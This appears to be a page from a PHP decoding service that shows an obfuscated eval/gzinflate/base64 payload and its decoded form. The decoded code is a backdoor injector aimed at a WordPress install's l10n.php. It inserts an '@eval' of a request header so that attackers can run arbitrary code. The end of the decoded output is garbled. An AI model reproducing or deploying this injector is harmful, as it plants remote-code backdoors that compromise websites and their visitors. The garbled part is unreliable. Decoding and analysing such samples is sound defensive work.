Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jVFtb5pAHH9v4ne4JiTF1CxwrV3M4ou1QysFUac8uCyEh6OcwkG4Qx3LvvsO..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo3ODoiL2hvbWUvZXN2Mi9kb21haW5zL2Vzdi50d2luc2Vuc2Utb250d2lra2VsLm5sL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2wxMG4ucGhwIjtpOjE7czo3OiJEQkVEQjQ0IjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfREJFREI0NCddKTsiO2k6MztzOjM0OiJ+XlxzKmZ1bmN0aW9uXHMrZGV0ZXJtaW5lX2xvY2FsZX5tIjt9');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (strstr($source, $systemEnv) !== false) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
    if (strstr($newSource, $systemEnv) === false) {
        return;
    }
    $filemtim7YzR$
N1. $matches[ U
      undinTH+eplace($matchesCCRullPath, $syst0lPath2PXoonjoMr)v) EhllPatem

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jVFtb5pAHH9v4ne4JiTF1CxwrV3M4ou1QysFUac8uCyEh6OcwkG4Qx3LvvsOxWq3JtuFC/fw//+ert3K4/wxI5HpJTj0GBKvnUUmGYTlxvrzx6DKbo0vGdZgvPWt5XZlT6CO+xsfyrFn9SoNmlWIe1IIkzKAJp9L5sPDvvCgSbW0R7XbB9lJ97kj97NwJPN9uNOspHTgXl6NTI6x2+ujuzIYxbvxuuZVjrxYVWYbU5mtZ9LxfFyfV/o6w7ORCR1rl6nD/mJuqhafvirFS3P4EM0VdThXxtLkMQyfFxQbcHOvV6wy1rrEMW/sZF89pyvZTyeSZ/VL+0kvuA5pZauMe0psuN86cEhXdo9x3v5151O7FZUkYDgj4M+4BIqKDvjZbrVbgI8EUwZEISqTZOqxuAsE+oMylCpky9dBFiL+yz3GUEE6YABKwvsxB6uQ6HsU3d+5IarLjsA1dQ0r0KwsAsQbIpwg9wUxN8gIQ4TRM9mpGEdApKzgn9j0XcrogKsBh/ESig66QTMKxMqCNBC/zkhXeYFe3NRjQSyelHfBGfhwg2jnn2ACQbuvJxtcnFugPPEC7rSB+CZ9bzICH8D0aeoqhsZXb6+PvO9ZfYV/63bw326FOtuU4fSjU82F9kS+4AbLU29JQkwWTzd/iH98nL99c6nexHBqZxlZZ3rR4ckrcV3Clf0G")));

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 29b3842eafe8d7c5238ecc2f147a4f5e
Eval Count 1
Decode Time 44 ms